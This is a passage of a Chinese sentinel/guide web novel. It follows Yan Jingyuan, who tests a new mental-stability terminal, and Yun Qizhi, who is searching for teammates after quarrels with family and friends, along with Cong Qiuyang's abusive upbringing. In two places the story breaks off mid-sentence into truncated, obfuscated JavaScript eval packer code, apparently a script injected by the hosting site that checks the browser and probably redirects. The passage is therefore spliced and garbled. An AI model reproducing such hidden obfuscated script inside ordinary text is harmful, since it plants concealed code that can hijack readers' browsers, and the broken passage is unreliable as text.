他会试探性地靠在他的胸口，双手抱住他，讨好地用嘴唇亲吻他的喉结，舌头舔舐着他的肌肤，用带着哭腔的声音妥协，起球他的原谅。 他会一步步地退让。 可怜又可爱，令人怜爱。 宴景鸢其实很喜欢这样的云起之，他很享受这种状态下的云起之。 但是，更多的是对云起之的怜爱与心疼，所以绝大多数的争吵，他会主动道歉。 宴景鸢给云起之发送信息。 【宴景鸢：回到家了吗？】 等了两分钟，发出去的信息仍旧处于未读状态。 宴景鸢继续给云起之发送信息。 【宴景鸢：科研部研发出了新的个人终端，我去看看，如果还不错，我试着为你兑换一个。】 发出去的信息仍旧显示为未读状态。 【宴景鸢：晚上我们团队会聚餐，一起参加吗？】 每一次的任务结束后就是放纵日。 代表着他们成功活下来了。 活下来，就要放纵，就要享受生存的美好。 美食、美酒、聚餐。 宴景鸢还是没有等到云起之的回复，他的心情有些糟糕，就在这时，他收到了好友奈哲尔发来的信息。 奈哲尔是飞鸢团的副团长，2S级的哨兵，不算从小一起长大的云起之，他是宴景鸢最好的朋友……之一。 就是朋友。 理论上，这种朋友可以称之为能够两肋插刀、同生共死的好兄弟，但…… 同样是朋友，宴景鸢知道，他对云起之，对奈哲尔的情感是不一样的，至于哪里不一样，宴景鸢自己也说不上来。 【奈哲尔：你收到更换终端的信息了吗？】 【宴景鸢：收到了。】 【奈哲尔：一起去吧？】 【宴景鸢：哦，好。】 【奈哲尔：云起之哨兵不会跟着一起去吧？他是C级哨兵，他应该没收到更换信息？】 【宴景鸢：不会。】 【奈哲尔：？？？】 宴景鸢并没有意识到，奈哲尔的三个问号其实非常具有灵性。 【奈哲尔：为什么你们没在一起？】 从奈哲尔的这句话看来，他默认宴景鸢和云起之就应该在一起，但事实上，奈哲尔的这种想法可以说是必然。 每当宴景鸢，又或者云起之的任务结束归来，他们总会有意识的彼此寻找对方，之后就会粘连在一起。 宴景鸢觉得奈哲尔的问句很碍眼。 奈哲尔继续发来信息。 【奈哲尔：这挺好的，对你来说他是毒药，与他分开对你来说更好。】 奈哲尔时时刻刻试图让宴景鸢和云起之决裂。 宴景鸢没有回答这个问题，他和奈哲尔约定在走廊见。 他们同住在一个楼层。 从宿舍出去，走几步路就是奈哲尔的宿舍。 飞鸢团除了他们外，还有不少哨兵收到了终端更换邀请。 总的来说，整座塔中收到更换终端邀请的战职者们的数量并不算多，他们属于第一批测试者。 技术部位于塔的8层。 一批批哨兵乘上电梯去往8层。 在场绝大多数哨兵、向导几乎都是在塔中长大，即便不是同一个团队的成员，大家点头不见低头见，都是能够打招呼的关系。 其中一位铭牌上标志着-S级的哨兵看向宴景鸢，疑惑询问：“宴景鸢哨兵，云起之哨兵竟没和您在一起吗？” 宴景鸢摇头。 除了这位哨兵外，又有一些哨兵询问相同的问题，其中还有人压低声音猜测，难道他们又吵架了？ 又有人压低声音说：“云起之哨兵又娇还作，每次他错，都还要宴景鸢哨兵哄，他真是过分。” 电梯抵达8层，哨兵们呼啦啦出去。。 整个8层都是相关新终端的讨论。 “听说准确率高达百分之90，但这似乎是保守一些的说法，它的精准度似乎达到百分之99。” “科研部真黑，明明我们是首批测试者，要钱就算了，价格还这么贵。” 贵是真的贵。 塔外，普通人一个月的平均工资是6000，而在塔内，每次新款终端的价格都会超过一万，这也是为什么科研部每年都会更新两次个人终端，但塔内的哨兵并不一定会换新终端的原因。 能省则省。 还有哨兵念叨，认为科研部真不是个东西，个人终端都要卖钱，难道这不应该是免费发放给哨兵的吗？ 宴景鸢对这些并不在意。 良好的家世，再加上作为3S级的哨兵，他每一次的任务绩效获取到的奖金都非常高，能用金钱买到的东西对他来说都无所谓。 甚至于，如果没有购买限制，他很想为云起之购买一个。 聚集在8楼的哨兵都是收到邀请函的哨兵，人山人海，他们的素质很高，自觉排起冗长的队伍。 听前排人的说法，每一位哨兵都会现场进行检测。 先用仪器检测精神稳定值，之后再佩戴上新版个人终端，查探两种仪器检测出的稳定数值差。 队伍有序向前。 耳中听着大家对新个人终端的讨论，宴景鸢脑子里还都是不知道原因生气的云起之。 当然，他觉得生气的云起之也十分的惹人怜爱。 宴景鸢看向身旁的奈哲尔，说道：“奈哲尔。”他面上的表情十分严肃。 奈哲尔愣了下，宴景鸢很少有这么严肃的时候，他面上的表情跟着郑重了起来，询问：“怎么了？” 宴景鸢：“……”微妙地，他觉得有点难以启齿，犹豫了下，他说道，“我有一个朋友。” 奈哲尔：“……哦。” 宴景鸢的声音并不大，但在场最低都是S级的哨兵，以宴景鸢为中心，整个片区稍微安静了下来，诸多人目光齐刷刷看向他。 但凡是个人，基本就有吃瓜的本能，尤其宴景鸢还是3S级哨兵，他的瓜必然好吃。 众所周知，以“我有一个朋友”开头，那么指的基本都是自己。 众人竖起耳朵。 奈哲尔眼皮跳了跳，与宴景鸢的目光对视，说道：“……哦，您，”这个停顿显得非常具有灵性，他轻咳了一声，“的这个朋友，他怎么了？” 宴景鸢思考怎么说：“……我的这个朋友，有一个非常好的朋友，他生气了，我不知道……我的朋友并不知道他的这个朋友为什么会生气。”他面上的表情非常烦恼。 奈哲尔“啊”了一声，周围众人已经联想到了云起之。 奈哲尔厌恶云起之，按照他的视角看云起之，那真是…… 抛开颜值不谈，那么…… 好吧。 那真是抛不开一点。 在奈哲尔看来，一旦没了那极具蛊惑性的颜值，云起之将一无所有。 奈哲尔看不起云起之。 奈哲尔对云起之没有任何兴趣，在知道宴景鸢想要和他谈的是云起之的事情，面上严肃的表情收回，不过，作为朋友，他还是会继续听宴景鸢的诉说，并且在恰当的时机给予最真诚的提示。 奈哲尔说道：“哦，景鸢，这么说，这个世界有许多人，不同人思维想法各不相同，这其中有许多的人极端敏感，”片刻的停顿后，他看着宴景鸢，“你……朋友的朋友生气了，这并不代表着是你的朋友招惹到了对方，还有很大的可能性是对方在无理取闹。” 宴景鸢：“……会吗？” 奈哲尔微笑：“当然会。” 宴景鸢还想再说些什么，前方有人发出惊叹。 大家的注意力立刻被转移。 那是刚更换个人终端的哨兵，他说道：“哦，我的天啊，准确率实在是太高了，都是72点！” “我一直在观察，新终端的精神稳定值测试精准度很高，目前为止最大的误差不到2点。” 最前方，科研部一位工作人员推了推鼻梁上的眼镜，微笑说道：“我们会尽可能将这2点的误差改到误差值在1以内，甚至是0误差。” “那到时候我们还要重新更换终端吧？”都是钱。 “哦哦，不用，如果是在半年内，我们会为各位免费升级哦。” 也就是说，半年后就需要花钱重新购买新终端，这真的是一个死看钱的部门。 这位科研部的工作人员还年轻，明显脸皮不够厚，他脸颊有些红，说道：“各位请务必理解，我们部门研发产品一直都需要经费，每次的大改动都需要很多的投入，大家彼此理解理解。” 人群中有人抱怨，“这要怎么理解？每年最低更新二次，每次最低价一万，隔三差五还要来一个强制性换新。” 一大群人附和。 工作人员又推了推鼻梁上的眼镜，有点尴尬。 虽然但是，这黑心钱他们的部门还是要赚。 队伍有规律的向前。 终于，轮到了宴景鸢。 工作人员看向宴景鸢，说道：“那么先请宴景鸢哨兵进行常规的精神稳定值检测。” 宴景鸢说道：“或许并不需要，”他又说，“不久前艾莉儿向导为我疏导，稳定值在68。” 一般情况下，在没有使用异能，并且在非次元境等高污染的环境下，短时间内稳定值基本不会有太大的变动。 工作人员说道：“精准度，建议您还是检测一些比较好哦。” 宴景鸢：“好。”也无所谓，这并不会耗费多少时间，但是…… 这是令人震撼的数值。 大概是在三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当天回归，他们整个团队在二楼进行精神稳定值测试，他的精神稳定值在测出83点后引起了小范围的轰动。 那时巫凝莎的名字又一次传遍了整座塔。 人群中有人说道：“今天早上，宴景鸢哨兵出任务回归时，精神稳定值还处于临界点。” “这才几个小时，竟然就已经达到了86。” “他可是3S级的哨兵，这怎么可能？” “不可能吧？3S级哨兵的精神稳定值就不可能达到86，除非有向导愿意长时间为他疏导。” 工作人员看了看检测仪，一脸的迟疑：“……呃，如果说个人终端出现了故障，那还有可能，我们的精神稳定值检测仪是不可能出错的……吧。”主要是，宴景鸢的检测结果太离谱，他最后还是用上了一个不确定的“吧”。 工作人员又问：“不过，宴景鸢哨兵，您现在感觉如何？” 宴景鸢：“……”除了云起之生气的事让他感到烦恼外，身体状态非常的好，“很好，”他又补充，“非常好。” 工作人员：“和之前比起来呢？” 宴景鸢：“好很多。” 为了确保准确度，工作人员换了一台仪器，反复为宴景鸢检测了三次。 三次的检测数据都是86。 诸多人的惊叹声下，宴景鸢更换新的个人终端。 个人终端的表盘很大，覆盖住宴景鸢的手腕，通体黑色，周围是圆形齿轮状，底部凸出，亲密贴合在手腕处，根据情况，底盘会发出红、绿、蓝色光芒。 工作人员说道：“只要佩戴个人终端，系统会时刻检测您精神稳定值，初次检测大概需要五分钟左右，终端屏幕右下方会出现时刻监测的数据，当下降到50点，会自动开启警报。” 宴景鸢：“哦，好的。” 工作人员补充：“一旦精神稳定值下降到50点，导航会强制开启，塔的范围内，唯一能够关闭警报的方式是稳定精神值，塔外则可以随意关闭警报与导航。” 宴景鸢：“哦，好的。” 大概五分钟后，新的检测数据出现了。 新终端的精神稳定值检测功能非常好，它和椅加上头盔式的检测仪测出的数据完全相同。 同样都是86点。 惊叹声再次此起彼伏。 “竟然是真的86点，不敢置信！” “他是怎么做到的？是谁为宴景鸢哨兵疏导的？是巫凝莎向导吗？” “只能是巫凝莎向导吧！” “不愧被称之为塔中七大S级向导中最强的向导。” 工作人员看向宴景鸢，说道：“宴景鸢哨兵，您可以说说，在艾莉儿向导为您疏导后，您做了什么吗？为什么您的精神稳定值这么高？” 这也是同一楼层的所有哨兵们最为关心的问题，他们用看全村唯一希望的眼神看向宴景鸢。 宴景鸢陷入回忆。 哦。 那就是，和竹马云起之一起回到房间，吃过饭，耳鬓厮磨，做一些快乐的事情放松身体，睡觉，然后稍微吵架…… 片刻的停顿后，宴景鸢说道：“睡眠吧。” 虽然但是…… 一般来说，睡眠并不具备这样的效果。 他的眉头微皱，再次想到了云起之。 每次，只要和云起之在一起，他就会感觉非常的放松。 身心上的放松。 11. 从秋阳小可怜 短短半天。 塔的任何地方都充斥着着相关新终端的事情，其中还有一些小八卦。 就比如，宴景鸢想多订购一个个人终端送给云起之，不过，被科研部拒绝了。 一方面，新终端还没有投入到开放使用中，另一方面是量产速度目前还跟不上。 塔中还有哨兵脑补，说新终端的防护是时刻开启的，到时候会不会四面八方都是警报？ 云起之通过网络，稍微听说了一些信息，隐隐觉得新终端哪里不太对，有些微妙，但对现在的他来说这些还不重要。 重要的是两天后将要执行的任务。 在和宴景鸢吵架过后，云起之就试图退出两天后的任务。 真难缠。 被拒绝了。 本身C级哨兵能够留在塔，凭借的就是家庭关系。 他收到了的塔的警告，反复拒绝任务，不服从塔的指令，他将会被驱逐出塔。 云起之不想离开塔。 在塔出生、长大，他对塔拥有强烈的归属感。 这次的任务他只能参加。 如果没有和宴景鸢吵架，他其实很想让宴景鸢加入团队，在吵架后的现在，他开始思考，他还可以找谁？ 大哥云柏岚还在任务中没有回归。 不行。 那么，就是从秋阳。 从秋阳是弟弟云新止的同学。 说起来，他和从秋阳其实只有两岁的年龄差，但对他来说，他总觉得从秋阳就是一个孩子。 宴景鸢不喜欢从秋阳，他对从秋□□有偏见。 当时宴景鸢建立飞鸢团时，云起之很想让从秋阳加入到他们的团队。 第一次提起时，宴景鸢拒绝，并且巧妙地转移了话题。 等云起之反应过来时，已经是几天后的事情，他不死心，又第二次提起，仍旧想让从秋阳加入到团队。 当时回应他的是，宴景鸢落在他脖颈处细细密密的吻。 理所当然，云起之的注意力第二次被转移。 第三次，以防万一，云起之特意与宴景鸢拉开一段距离，坚定地提起，想让从秋阳加入到他们的团队。 宴景鸢笑了笑，说道：“哦，那真遗憾，你提的有些晚了，我们团队人数目前已经满了。” 云起之一直都知道，宴景鸢不太喜欢从秋阳，当然，他直到现在也不太明白原因。 云起之会认识从秋阳，是因为从秋阳和云新止是同学。 塔的世界不算大。 几乎可以说，限定的高天赋者才能够进入的塔，其实很少有小可怜，而从秋阳就是一个小可怜。 从秋阳的父亲是A级哨兵，母亲同样是A级哨兵。 从秋阳六岁那年，他的母亲在次元境的任务中过世，也不过半个月，他的父亲就带着新任妻子回到他们在塔的家中。 哦。 还带来了和从秋阳同岁的儿子，说是私生子，但是…… 真的很明显，五官轮廓，这个与从秋阳同岁的孩子像极了从秋阳的父亲。 很多人都说，他们应该是亲父子。 自从这位新的妈妈进入从家，从秋阳就生活于水深火热，而那时，也处于人生低谷期的云起之在见到这个比自己小两岁的小朋友被欺负后，想都没有想，护在了他的面前。 在那之后，从秋阳将云起之当成了人生浮木，他总是跟在云起之的身后。 云起之去哪里，从秋阳就跟到哪里。 那一年的云起之极端缺乏安全感，他喜欢人，他需要吸人气，从秋阳的每一个举动都让云起之觉得他需要他。 对那一年的云起之来说，竹马宴景鸢像是英雄一般的存在，而从秋阳是他的慰藉，他填满了他的空虚。 让他觉得，在这个世界还有人依赖着他，还有人需要他。 当然。 即便有云起之呵护着从秋阳，也改变不了这个小孩悲惨的成长环境。 吃不饱，穿不暖，被同龄，哦，好吧，听说那位跟随后母嫁给从渣爹带来的私生子的出生月要比从秋阳早三个月，他总会被这么一个胖墩给欺负。 最开始的从秋阳真的很平凡。 他比所有同龄的孩子都要小，瘦瘦小小，比他大两岁的云起之能够将他整个抱在怀中。 哨兵分化的方式为两种。 第一种，直接分化，像是宴景鸢，他一开始就是3S级，不过，因为各方面的限制，分化之初他只能够动用微弱的异能，只能说，成长后他的上限会很强。 第二种，就是从秋阳这种。 从秋阳八岁时分化，是C级哨兵。 从秋阳被嘲笑了。 从夫人带来的私生子从明旭嘲笑从秋阳，骂他是废物。 云起之分化时就被骂过，他比任何人都清楚言语的杀伤力有多强，他超生气。 云起之特意托人从塔外购买一个喇叭，跑去他们的班级，用喇叭宣扬了一下从明旭的身世，之后又将从渣爹与那位后妈之间的关系告知上上下下。 从家可以骂从秋阳，但他们没办法对云起之怎样，哪怕云煜城再不喜欢云起之，他也是云家的孩子。 当然，这件事的结尾是，云起之又被打了两巴掌，当天宴景鸢又一次拉着云起之，找上了云家。 宴景鸢用行动证明，他会一直为云起之出头。 这一次除了宴景鸢外，还有云柏岚。 云柏岚直接去找了父母，与他们谈了数个小时，也不知道谈了什么，但是当天，云柏岚微微蹲下身，轻轻抚摸云起之的头发，对他说，父母答应了他，以后不会再打他了。 在此之后，云煜城和埃尔莎女士确实在没有打过他。 话题重新绕到从秋阳小可怜身上。 这个原本瘦瘦小小的小朋友，直到八岁分化为哨兵时仍旧为同龄人中最为瘦弱的存在，十岁时，他的身高达到了同年龄的平均值，也是这一年，他从C级哨兵进阶为B级哨兵。 从明旭是A级哨兵，他看着从秋阳的目光仍旧高高在上。 然后，十二岁，从秋阳又从B级进阶到了A级。 从秋阳的进阶速度实在是太快了。 从明旭明显有了危机感，这体现在他试图在方方面面针对从秋阳。 六岁时瘦瘦小小的从秋阳面对他人的欺凌无能为力，云起之是他唯一的浮木，而十二岁的从秋阳，现在的他已经能够反抗家庭…… 能反抗，但，血缘的羁绊就是如此奇妙。 明知父亲不爱自己，也知父亲愧对母亲，愧对自己，但是…… 那是他的父亲。 血缘上的至亲。 从秋阳的原生家庭是真的糟糕，明明那一年的从秋阳已经足够优秀，然而家人并不会为他的优秀感到喜悦，甚至比任何人都希望他跌入谷底。 爆发是在从秋阳十六岁的那一年。 也就是两年前。 从明旭高价购买精神污染药剂，用在了从秋阳的身上。 真巧，云起之也是在这一年分化为的人鱼向导。 精神爆发一次，就会为哨兵的精神海带来不可逆的伤害，比较常见的就是等级下跌，更严重的是，在爆发过程中形成的灾害。 伤害他人，也伤害自己。 从明旭将从秋阳关在了房间，又将门反锁。 为防止哨兵狂化，塔的建筑无比牢固，想要强闯很有难度。 云起之会知道这件事是因为，那时已经陷入半狂化状态的从秋阳给云起之写了遗书。 云起之收到信息，他在第一时间去了从家，其实他现在的情况也不太好，身体处于绝对的混乱状态。 他不得不来。 房门被锁定，理论上，他进不去，里面的人也出不来…… 在这里，必须要说说云起之作为C级哨兵的异能。 是短距离空间穿梭。 一般来说，和空间相关的异能都是非常强大的异能，但云起之的空间异能缺陷太大了，他只能进行很短距离的穿梭，5米，并且每使用一次异能，CD时间就高达20分钟。 他的异能堪称鸡肋。 跟团出任务时，如果团队有向导，他主要就是保护向导，关键时刻带着向导进行五米的穿梭进行躲避。 虽说距离很短，但关键时刻确实有点用处。 还有就是…… 现在这种情况。 云起之以空间穿梭的方式进入了从家。 云起之进入从家时，从秋阳已经彻底进入狂暴状态，他已经没了理智，有的只有暴虐的欲望。 从秋阳什么都不记得。 云起之尝试着以向导的方式为哨兵进行疏导。 磕磕绊绊，他不太会，但，因为他是人鱼向导，即便他没有学过系统的疏导方式，效果也出奇的好。 从秋阳彻底晕过去了。 醒来时，他什么都不记得了。 按照从秋阳的说法，醒来后，他的身边只有云起之，他说，他的人生中只有云起之。 这个时候云起之能够给予从秋阳的，就只有拥抱。 从秋阳将头埋在云起之的胸口，他哭得很厉害，泪水沾湿了云起之的衣服。 云起之一遍遍地拍打着从秋阳的背部，安抚着他，柔声对他说：“是，你还有我。” “乖，我不会离开你，也不会背叛你。” “乖哦。” 回应云起之的是从秋阳加紧的拥抱。 在这次的精神风暴之后，医疗部为从秋阳进行了一场全面的身体检测。 虽说很少见，但，确实有这种例子。 一些哨兵在经历精神风暴后，等级不仅没有下降，还反向提升了。 这是万中无一的例子，而从秋阳的运气非常好，他从A级进阶到了S级，成为整个从家唯一的S级哨兵。 十六岁的S级哨兵。 当时整座塔无数人都说，从秋阳因祸得福。 云起之当时参与其中，他觉得这福不要也罢。 当年的从秋阳还没有成年，明明知道是从明旭有意为之，但从明旭是未成年，再加上从渣爹是从秋阳的监护人，他以从秋阳监护人的身份写下对从明旭的谅解书。 这件事只能不了了之。 在此之后，从秋阳就从从家走了出来。 S级的哨兵，可以申请宿舍。 从秋阳的宿舍在110层，是二人一间的小宿舍。 里面只有12个平方，靠着窗的位置是两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【云起之：秋阳，接下来一段时间，你有时间吗？】 几乎是下一刻，云起之就收到了从秋阳发来的视讯请求。 云起之接通。 个人终端投影出虚拟面板。 视讯另一端，是一位还显得十分稚嫩的青年，他的面容稚气未脱，但通过视讯就能够看出来，他十分高大，额头上是汗水，黑色刺头短发，黑瞳，上半身穿着一个背心，完全被汗水湿润，隐隐约约能够看到健壮的胸肌。 从秋阳掀开背心，露处腹肌，擦拭脸上的汗水，说道：“晚上好，起之哥。”他唇角弯起，笑起来十分真诚。 塔中总有人说，从秋阳像是云起之养的一条狗。 像现在，视讯接通的那一刹那，从秋阳的身后仿佛有一条无形的尾巴在左右摇晃。 “……”顿了下，云起之询问：“我打扰你了吗？” 从秋阳摇头，“没有，今天的训练已经结束了。” 同一个背景下，有一位哨兵的声音响起，“秋阳，大家都在等你，你还不过来？” 从秋阳说道：“哦，抱歉，你们自己上吧，我现在没时间。” 视讯这一端的云起之：“……” 片刻的停顿后，云起之说道：“我今天接了一个强制性的C级次元境任务，你可以和我一起进入吗？” 从秋阳愣了下，说道：“哥，你等我一下！”他看起来很高兴。 但很遗憾，从秋阳并没有办法与云起之一起执行任务，早在两天前他就收到了系统指定的任务，他保持着与云起之通讯的状态，他尝试着拒绝任务，但不行。 塔并没有通过从秋阳的请求。 二人又说了几句话，在从秋阳遗憾的目光下，云起之挂断了视讯。 云起之盯着通讯录看了看，陷入沉思。 那真是…… 很微妙的事情，在除去这三个人之后，他很难找到能够帮助他的人。 一一查看通讯录的人名，一个个向下滑，看到了云雪盈。 是他的姐姐。 眼皮跳了跳，他的手指在这个名字上停留了下，目光向下移，又看到了云新止的名字。 隔着一扇门，还能听到云新止与他那两位朋友的声音，他们的话题同样围绕着新终端。 云新止已经拿到了新终端。 云新止在收到信息后，第一批赶去取新终端，那时八楼科研部还没有排太多人，他很快就拿到了。 “精准度好高，希望我能在下一批更换到新的终端。” “新止，你现在的精神稳定数值是81，你的精神区一直都很稳定，真好啊。”声音满满都是羡慕。 云新止：“哦哦，对，不止我，我的父亲、母亲，还有大哥、大姐，只要在塔，我们的精神值都很稳定，所以我很喜欢家。”他说，“在家，我总是感觉很舒服。” 门内的云起之：“……” 所以说，这是必然。 因为有他在，所以，距离他非常近的家人，他们的精神区只会越来越稳定。 12. 钝感 犹犹豫豫。 云起之还是给姐姐云雪盈发送了信息。 理所当然，他被拒绝了。 这在云起之的意料之内。 拒绝还不算，云雪盈持续给云起之发送私信。 【云雪盈：云起之，你适可而止，你知道你这两年来多给我们家丢脸吗？】 【云雪盈：我知道你怕死，但也别这么离谱。】 云起之感觉云雪盈还会说些一些难听的话，他动作迅速，将云雪盈给拉黑了。 他不喜欢看到这种让他不高兴的文字。 确实是这样。 云起之并不知道的另一端，云雪盈确实给云起之发了一条长长长的信息，在她看来，这个没用的弟弟没有办法为父亲的事业添砖加瓦就算了，她希望这个弟弟至少不要成为家中的拖累，然而，这就是一个拖累。 看到被拉黑的信息提示，另一端的云雪盈就是一个深呼吸。 而这一端的云起之完全没心思思考云雪盈的心情，他的目光看向门，耳中听着云新止和两位同伴的交谈，他在思考，有什么办法可以让云新止和他一起出任务？ 他觉得，云新止应该和云雪盈同样拒绝他，毕竟他们之间的兄弟情甚至称不上塑料，他们连表面上的平和都没有。 虽然但是，一番犹豫后，云起之还是给云新止发送了信息。 说不定呢？ 从云起之的角度来说，哪怕弟弟不是一个好弟弟，但是如果弟弟有求于他，即便有些艰难，他仍旧会帮助弟弟。 就比如，直到现在，他并没有申请宿舍，也没有常年蜷缩在宴景鸢的宿舍，他始终留在这个家庭没有离开。 不是贪恋这个15平方左右的卧室，也不是喜欢这个家中的环境，单纯是…… 他知道。 只要他在，那么或多或少能够为家人稳定精神领域。 即便关系不好，他也会为家人着想，可能性虽说微乎其微，但说不定弟弟愿意呢？ 云新止并没有回复云起之的信息。 门外传来一阵脚步声，没过多久，敲门声响起。 云起之走去开门。 云新止目光直直地看着云起之，二人目光对视，他说道：“C级次元境。” 云起之：“是。” 云新止一只手握紧成拳，敲打在门框上，发出巨大的声响。 不远处，云新止的两位朋友彼此对视一眼，探头探脑。 云新止：“云起之，你知道C级次元境的概念吧？” 不等云起之说话，云新止继续说道：“这是A级哨兵带队就可以搞定的事情，你让身为2S级的我，”他指了指自己，又指了指云起之，“就因为你的贪生怕死，加入这么一个团队？”他说，“你知道，就是因为你的这种行为，我们家被多少人耻笑吗？” 云起之：“……” 想了想，云起之试图关门。 云新止推门。 力量差距下完全关不上。 二人目光对视，云新止说道：“你知道……” 云起之不愿意听云新止的指责，他迈开脚步，打算出去。 同样不给云起之这个机会，云新止握住了云起之的手腕，就那么一瞬间，他又像是碰到什么脏东西一样立刻收回了手。 云起之皱眉。 必须要说，云新止的力量非常强，他感觉到手腕上一阵疼痛。 云新止继续指责云起之。 云起之深吸一口气，二次试图关门，没成功，他又一次试图走出去，仍旧没成功，直到云新止的两位同学拉住云新止，才让他停止了宣泄。 云起之终于关上了门。 揉了揉太阳穴，他感觉有些头疼。 门外传来交谈声。 云新止的一位朋友说道：“呃，虽说我一直对云起之哨兵有滤镜，但是，C级次元境他还这样，这真的很离谱。” “这其实倒也还好，更离谱的是，他其实还能让3S级的哨兵加入进去。” “哦哦，你指的是宴景鸢哨兵吧？” “也就宴景鸢哨兵愿意宠着他。” “从秋阳也愿意。” “好了好了，新止，你也别太生气，情绪起伏太大，会影响你的精神状态。” “新止，快看看你现在的精神稳定值在多少？” 紧接着，是到抽一口气的声音。 “我的天啊，怎么会是82？” “难道我记错了吗？我记得刚刚看你的精神值时，好像是在81？在没有经过任何疏导的情况下，怎么忽然跳转到了82？” 云新止的声音响起：“……我也不是很清楚。”他又说，“可能是，不太准吧？” “也对。” “毕竟是刚研发出来的终端，有瑕疵也是正常。” “凑合用吧。” ………… …… 隔开一扇门的云起之：“……” 直到这一刻，云起之终于明白，当身边所有人都更换新版个人终端后，或许会出现的情况了。 那应该是…… 围绕着他，与他越是亲近的人，他们能够以最直观的方式察觉到自己精神值的变化。 不过…… 一般来说，在初次更换个人终端后，大家最开始或许还会对时刻变化的精神稳定值感到兴趣，他们或许会时不时观看一下，等时间久了，应该就不会想着时刻监测了。 现在对云起之来说比较焦虑的还是次元境的问题。 坐在椅上，再次开启通讯录，他的目光看向“宴景鸢”这三个字。 信息提示音响起。 是宴景鸢发来的信息。 【宴景鸢：还在生气吗？】 【宴景鸢：原谅我吧。】 【宴景鸢：别气了，我的错，都是我的错，我不应该惹你生气！】 云起之：“……”他可以肯定，另一端的宴景鸢甚至不知道他为什么而生气。 【宴景鸢：今天我去更换了新的终端，也想为你换一个，但是被拒绝了。】 云起之眼皮跳了跳。 【宴景鸢：哦，说起来，艾莉儿向导为我疏导时，我当时的精神数值是68，不过，我去更换终端时重新测试精神稳定值状态时，已经达到了86。】 云起之眼皮一阵狂跳。 【宴景鸢：我觉得都是你的功劳！】 云起之：“……”他的瞳孔微微收缩。 【宴景鸢：虽说并没有验证，但大家都这么说，心情越好，精神就越稳定，每次和你在一起，我都感到很轻松。】 云起之：“……” 哦。 简单一些说，宴景鸢并没有意识到哪里不对。 不对，或者说，他或许意识到了哪里不对，但他并没有将这种不正常向他的身上联想。 其实很正常，因为他是哨兵。 带入宴景鸢，其实还有许多其他方向的延展方式。 就比如，不久前简宛儿执政官有为他疏导过，他可以想象成那是2S级向导延续下来的疏导之力。 【宴景鸢：所以说，起之，别气了好吗。】 【宴景鸢：我已经到你家门口了。】 【宴景鸢：我想见你。】 【宴景鸢：我在这里等你。】 大概五分钟后，云起之回复信息。 【云起之：我现在出去。】 【宴景鸢：好。】 宴景鸢又给云起之发来小狼狗乖巧下蹲晃尾巴的动态表情包。 是白色的小狼狗。 该说不说，这个表情包很像是宴景鸢全兽化状态时的Q版，很可爱。 云起之将表情包收藏起来，目光朝着门的方向看去，听客厅传来的动静。 推门那一刹，云新止和他的两位朋友目光齐刷刷朝着他看来。 因为三人直勾勾的目光注视，云起之加快脚步，握住门把手。 开门，关门，一气呵成。 完美阻隔开三道目光。 云起之松了一口气。 宴景鸢就在门口。 云起之看向宴景鸢。 宴景鸢一只手搭在云起的后腰，说道：“晚上有团队聚餐。” 云起之停下脚步，看向宴景鸢，说道：“我不去。” “……”片刻的停顿后，宴景鸢说道：“好，那我也不去。”他摸了摸云起之触感柔软的头发，“现在是晚餐时间，去食堂，还是去我的宿舍？”他并不是第一次为了云起之拒绝团队聚餐，过去时不时也会这样。 云起之：“去宿舍。”他需要一个安静的环境。 宴景鸢：“好。” 二人一起走向电梯。 云起之发现，目前电梯所在楼层是149，也就是罗素、简宛儿两位执政官所在的楼层，他想，一天以来，不会第四次碰到罗素执政官吧？ 事实证明，就是这么巧合。 他们第四次碰到了。 唐秘书微笑看向云起之，说道：“云起之哨兵，真巧啊，这似乎是我们今天的第四次碰面。”她以开玩笑的语气说道，“这就像是命中注定。” 云起之：“……” 宴景鸢微笑说道：“其实这种巧合很正常。” 唐秘书看向宴景鸢。 也就两个楼层而已，两句话的时间电梯门已经开启，云起之和宴景鸢一起走出电梯。 他们进入宿舍。 最先展开话题的是宴景鸢，话题围绕着罗素执政官。 S级的次元境已经十分艰难，3S级的次元境又会有多么艰难？即便是3S级的哨兵，几乎也十死无生。 云起之说道：“希望这一生都碰不到。” 宴景鸢看向云起之，说道：“那我可以保证，我一生都不会让你进入3S级的次元境。” 宴景鸢询问云起之，晚饭想吃什么。 考虑到宴景鸢没什么厨艺可言，他们吃的还是蛋炒饭。 吃过饭，简单将厨餐厅打扫干净，宴景鸢从身后拥抱住云起之。 云起之没有推开宴景鸢，头靠在他的胸膛，轻声说道：“我很累。”确实是累，他现在的体质很容易疲惫。 宴景鸢将云起之抱到床上，说道：“你先休息，我出去一趟再回来。” 云起之眯起眼睛看向宴景鸢。 宴景鸢笑了笑，手指在云起之的嘴唇上轻轻触碰，说道：“别多想，不会放下你去聚餐，我一会儿就回来。” 云起之：“……哦。” 宴景鸢出去了。 云起之大概能猜到宴景鸢是出去做什么。 他有烟瘾。 也不算严重，一天大概五到八支烟。 云起之讨厌烟味，他其实曾经试图让宴景鸢戒烟，这很难。 他们相处到现在，几乎可以说，云起之予取予求，但唯独戒烟这件事，宴景鸢明确地拒绝了云起之。 宴景鸢能做的就是，不在云起之的面前抽烟，云起之在时，也不在宿舍内抽烟。 因为宴景鸢的坚持，云起之产生好奇，烟是什么样的？明明是这么刺激的东西，甚至还致癌，为什么这么多人喜欢？ 云起之好奇地尝试过，就和他不喜欢别人身上沾染的烟的味道一样，他自己也没办法吸烟。 不懂宴景鸢为什么会喜欢，但在发现他没办法改变宴景鸢后，他也不会强制让宴景鸢为他而改变。 相处的过程中，总有一个人要妥协。 塔每一个楼层都有吸烟室，云起之猜测，宴景鸢应该是去吸烟室抽烟去了。 他背靠在床背上，目光朝着门的方向看去。 没过多久，宴景鸢就回来了，他的身上果然有着一股烟 